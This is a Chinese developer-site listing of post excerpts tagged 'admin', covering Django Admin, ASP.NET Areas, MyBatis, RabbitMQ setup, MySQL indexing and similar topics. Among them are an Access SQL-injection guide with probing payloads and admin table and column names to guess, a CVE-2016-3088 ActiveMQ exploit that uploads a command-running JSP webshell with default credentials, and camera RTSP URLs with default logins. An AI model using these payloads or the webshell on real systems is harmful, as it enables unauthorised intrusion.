admin

4-初识Django Admin

北城以北 提交于 2020-02-17 19:01:18
初识Django Admin Django Admin是Django为我们提供的网站后台管理应用,通常网站,个人博客,CMS等都会有个后台管理界面,这个界面只有管理员权限的用户才能进入管理网站内容。管理后台的页面通常都是简单重复的工作,他们可重用性很高,所以作为一个大而全的框架,django为广大开发者提供了这样一个模块,让你无需编写很多的代码,就可以实现对后台的管理,使程序员能够更专注于前端页面逻辑和后端功能实现,大大提高了中小型网站的开发效率。 1、创建管理员用户 [root@localhost mysite]# python3 manage.py createsuperuser 运行上面面的命令后你就会进入到下面这种交互模式: 2、登录后台管理 创建好后台管理用户后,运行Django程序。 [root@localhost mysite]# python3 manage.py runserver 192.168.10.100:8000 # 开启Django服务 输入 http://192.168.10.100:8000/admin /登录后台你会看到: 登录成功后你会看到如下界面: 如果不习惯英文,只需要在settings.py中将LANGUAGE_CODE='zh-hans'即可改成中文。 [root@localhost mysite]# vim mysite

Sql注入之Access

半城伤御伤魂 提交于 2020-02-17 15:12:52
Sql注入之Access Access数据库介绍 Access数据库是由微软开发的小型数据库,可以存储100M之内的信息。 Access数据库判断 and exsits (select * from msysobjects)>0 Access注入利用 方法一 判断表名 运用如下命令返回正常即存在 and exsits (select * from admin) Access数据库常见管理员表名: admin admin_user admin_msg admin_usr admin_login username manager manag msg msg_user msg_login useradmin user_msg userlogin users member 判断列 运用如下命令返回正常即存在列 and exsits (select id from admin) Access数据库常见的管理员列名: admin admin_user username users usr user_login user_name name loginname admin_login msg_name 管理员密码列名: password pwd pass user_pass 判断列数 order by num num<=真正列数是时返回正常 联合注入 union select 1,2,……num

Area 使用

自作多情 提交于 2020-02-16 11:50:22
https://www.cnblogs.com/willick/p/3331519.html ASP.NET MVC允许使用 Area(区域)来组织Web应用程序,每个Area代表应用程序的不同功能模块。这对于大的工程非常有用,Area 使每个功能模块都有各自的文件夹,文件夹中有自己的Controller、View和Model,但对于管理也增加了一定的难度。 本文目录 创建Area 右键工程选择 添加->区域,弹出如下填写Area的对话框: 点击添加后,工程目录结构如下: 和创建一个空MVC工程结构类似,Admin Area 有自己的 Controllers、Models 和 Views 文件夹,不一样的地方就是多了一个 AdminAreaRegistration.cs 文件,这个文件中定义了一个叫 AdminAreaRegistration 的类,它的内容如下: namespace MvcApplication1.Areas.Admin { public class AdminAreaRegistration : AreaRegistration { public override string AreaName { get { return "Admin"; } } public override void RegisterArea

mybatis多数据源的配置和切换

安稳与你 提交于 2020-02-16 11:09:49
例如,要写一个通用框架。 使用者可以使用mysql也可以使用oracle。 在某种数据库下,可以使用2个数据源。 多个Configuration类的实现 命名空间可以解决这个问题。 在最开头加个特殊的名称。再和 @ConditionalOnProperty配合,如果没有这个属性,就不加载这个类。 如代码: @ConditionalOnProperty ( name = "admin.spring.datasource.driver-class-name" , havingValue = "com.mysql.jdbc.Driver" ) @Configuration public class MysqlConfig { } 如oracle: @ConditionalOnProperty ( name = "admin.spring.datasource.driver-class-name" , havingValue = "oracle.jdbc.driver.OracleDriver" ) @Configuration public class OracleConfig { } 不同数据库之间的区分 设置不同的接口扫描位置: @MapperScan ( basePackages = "com.ali.cloud.mapper.admin" ,

Centos 8 安装Rabbit-MQ

[亡魂溺海] 提交于 2020-02-16 00:45:20
参考文档: https://www.rabbitmq.com/install-rpm.htm 1. 首先需要安装ErLang # dnf install -y wget epel-release # wget https://github.com/rabbitmq/erlang-rpm/releases/download/v21.3.8.6/erlang-21.3.8.6-1.el7.x86_64.rpm # dnf install -y erlang-21.3.8.6-1.el7.x86_64.rpm 2. 添加RabbitMQ仓库 # vim /etc/yum.repos.d/rabbitmq.repo [bintray-rabbitmq-server] name=bintray-rabbitmq-rpm baseurl=https://dl.bintray.com/rabbitmq/rpm/rabbitmq-server/v3.8.x/el/8/ gpgcheck=0 repo_gpgcheck=0 enabled=1 3. 安装RabbitMQ Server # rpm --import https://github.com/rabbitmq/signing-keys/releases/download/2.0/rabbitmq-release-signing-key

在Django的admin上显示超链接

我只是一个虾纸丫 提交于 2020-02-16 00:42:55
Tips allow_tags: 允许显示超链接 short_description: 显示的字段名 from django.contrib import admin from django.utils.html import format_html from .models import ModelsExample @admin.register(ModelsExample) class AdminExample(admin.ModelAdmin): list_display = ['filename', 'MD5', 'link', 'create_timestamp'] ordering = ['-id'] list_per_page = 50 url = "xxx" # 跳转的超链接 url_text = "link" # 显示的文本 def link(self, obj): return format_html(u'<a href="{}" target="_blank">{}</a>'.format(url, url_text)) link.allow_tags = True link.short_description = "ColsName" 效果 ### 微信公众号二维码 微信扫一扫关注公众号 来源: CSDN 作者: Theo仔 链接: https://blog

admin- 源码解析(流程)

强颜欢笑 提交于 2020-02-15 15:27:39
首先我们需要了解一个知识点:---单例模式--- 单例模式 单例模式(Singleton Pattern) 是一种常用的软件设计模式,该模式的主要目的是确保 某一个类只有一个实例存在 。当你希望在整个系统中,某个类只能出现一个实例时,单例对象就能派上用场。 比如,某个服务器程序的配置信息存放在一个文件中,客户端通过一个 AppConfig 的类来读取配置文件的信息。如果在程序运行期间,有很多地方都需要使用配置文件的内容,也就是说,很多地方都需要创建 AppConfig 对象的实例,这就导致系统中存在多个 AppConfig 的实例对象,而这样会严重浪费内存资源,尤其是在配置文件内容很多的情况下。事实上,类似 AppConfig 这样的类,我们希望在程序运行期间只存在一个实例对象。 在 Python 中,我们可以用多种方法来实现单例模式: 使用模块 使用 __new__ 使用装饰器(decorator) 使用元类(metaclass) 使用__new__ 为了使类只能出现一个实例,我们可以使用 __new__ 来控制实例的创建过程,代码如下: class Singleton(object): _instance = None def __new__(cls, *args, **kw): if not cls._instance: cls._instance = super

RTSP协议播放网络视频

て烟熏妆下的殇ゞ 提交于 2020-02-15 13:52:25
海康摄像头 主码流 rtsp://admin:12345@192.0.0.64:81/h264/ch1/main/av_stream rtsp://admin:12345@192.0.0.64:81/MPEG-4/ch1/main/av_stream 子码流: rtsp://admin:12345@192.0.0.64/mpeg4/ch1/sub/av_stream rtsp://admin:12345@192.0.0.64/h264/ch1/sub/av_stream 爱谱华顿和海康相同 大华摄像头 rtsp://admin:admin@10.12.4.84:554/cam/realmonitor?channel=2&subtype=1 模态窗口 <div id="modalCamera" class="modal-block modal-block-md mfp-hide "> <section class="panel"> <header class="panel-heading"> <h2 class="panel-title">视频实时监控</h2> <div class="panel-actions"> <button class="btn btn-xs btn-default modal-dismiss"> <i class="fa fa-times"></i> <

Ladon插件CVE-2016-3088 ActiveMQ GetShell Exploit

回眸只為那壹抹淺笑 提交于 2020-02-14 15:30:27
前言 使用Exp生成器生成Ladon插件实战,CVE-2016-3088 ActiveMQ GetShell 0x000 漏洞信息 漏洞编号: CVE-2016-3088 漏洞原理: ActiveMQ 中的 FileServer 服务允许用户通过 PUT/MOVE方法上传文件到指定目录 影响版本: Apache ActiveMQ 5.0.0 – 5.13.2 0x001 获取路径 PUT /fileserver/%20/%20 0x002 上传shell 上传和移动文件需登陆,默认帐密admin/admin,将以下代码双引号进行转义(原本是转义好的被github过滤了) PUT AddUrl: /fileserver/cmd.jsp PUTData: <%@ page import="java.io.*"%><%out.print("Hello");String strcmd = request.getParameter("cmd");String line =null;Process p=Runtime.getRuntime().exec(strcmd);InputStream is = p.getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(is));while((line

MySQL_MySQL俩表索引优化实例

廉价感情. 提交于 2020-02-13 17:38:13
1.引入 我们呢,在上一节课的时候优化了一张单一的数据库表。那么接下来呢。我们一起优化一下俩张数据库表的索引。 2.创建操作的数据库 创建用户表:admin,并添加数据 -- ---------------------------- -- Table structure for admin -- ---------------------------- DROP TABLE IF EXISTS `admin`; CREATE TABLE `admin` ( `id` int(11) NOT NULL AUTO_INCREMENT, `adminname` varchar(255) NOT NULL, `realname` varchar(255) DEFAULT NULL, `adminpassword` varchar(255) NOT NULL, `adminEmail` varchar(255) DEFAULT NULL, `adminNote` varchar(255) DEFAULT NULL, `role_id` int(11) DEFAULT NULL, PRIMARY KEY (`id`), KEY `idx_adname_relname` (`adminname`,`realname`) ) ENGINE=InnoDB AUTO_INCREMENT=3